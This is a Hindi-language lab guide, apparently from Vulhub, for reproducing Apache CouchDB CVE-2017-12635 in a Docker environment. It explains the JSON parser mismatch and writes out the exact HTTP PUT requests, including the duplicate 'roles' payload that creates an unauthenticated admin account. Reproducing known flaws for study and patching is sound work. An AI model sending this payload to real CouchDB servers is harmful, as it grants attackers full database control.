
Apache CouchDB CVE-2017-12635 के लिए डॉकर-आधारित पुनरुत्पादन वातावरण, JSON पार्सर असंगति के माध्यम से ऊर्ध्वाधर विशेषाधिकार वृद्धि, अप्रमाणित व्यवस्थापक निर्माण सक्षम करना।
Apache CouchDB एक ओपन सोर्स डेटाबेस है, जो उपयोग में आसानी और "वेब को पूरी तरह से अपनाने वाला डेटाबेस" होने पर केंद्रित है। यह एक NoSQL डेटाबेस है जो JSON को भंडारण प्रारूप, JavaScript को क्वेरी भाषा, MapReduce और HTTP को API के रूप में उपयोग करता है। इसका व्यापक उपयोग होता है, जैसे BBC ने अपने गतिशील सामग्री प्रदर्शन प्लेटफॉर्म पर, Credit Suisse ने अपने आंतरिक कमोडिटी विभाग के बाजार ढांचे में, Meebo ने अपने सोशल प्लेटफॉर्म (वेब और ऐप) में किया।
15 नवंबर 2017 को, CVE-2017-12635 और CVE-2017-12636 का खुलासा हुआ। CVE-2017-12635 Erlang और JavaScript द्वारा JSON पार्स करने के तरीके में अंतर के कारण उत्पन्न होता है, जिससे स्टेटमेंट निष्पादन में भिन्नता आती है। यह भेद्यता किसी भी उपयोगकर्ता को व्यवस्थापक बनाने की अनुमति देती है, जो एक ऊर्ध्वाधर अनुमति बाईपास भेद्यता है।
प्रभावित संस्करण: 1.7.0 से छोटे तथा 2.1.1 से छोटे
संदर्भ लिंक:
पर्यावरण को संकलित और प्रारंभ करें:
docker-compose build
docker-compose up -d
पर्यावरण प्रारंभ होने के बाद, http://your-ip:5984/_utils/ पर जाएं, तो एक वेब पृष्ठ दिखाई देगा, जो इंगित करता है कि Couchdb सफलतापूर्वक प्रारंभ हो गया है। लेकिन हम पासवर्ड नहीं जानते, इसलिए लॉगिन नहीं कर सकते।
सबसे पहले, निम्नलिखित डेटा पैकेट भेजें:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
देखा जा सकता है कि 403 त्रुटि लौटती है: {"error":"forbidden","reason":"Only _admin may set roles"} केवल व्यवस्थापक ही भूमिकाएँ सेट कर सकता है:
दो भूमिकाओं वाला डेटा पैकेट भेजने पर प्रतिबंध को बायपास किया जा सकता है:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
व्यवस्थापक सफलतापूर्वक बनाया गया, खाता और पासवर्ड दोनों vulhub हैं:

पुनः http://your-ip:5984/_utils/ पर जाएं, खाता और पासवर्ड vulhub दर्ज करें, सफलतापूर्वक लॉगिन कर सकते हैं:
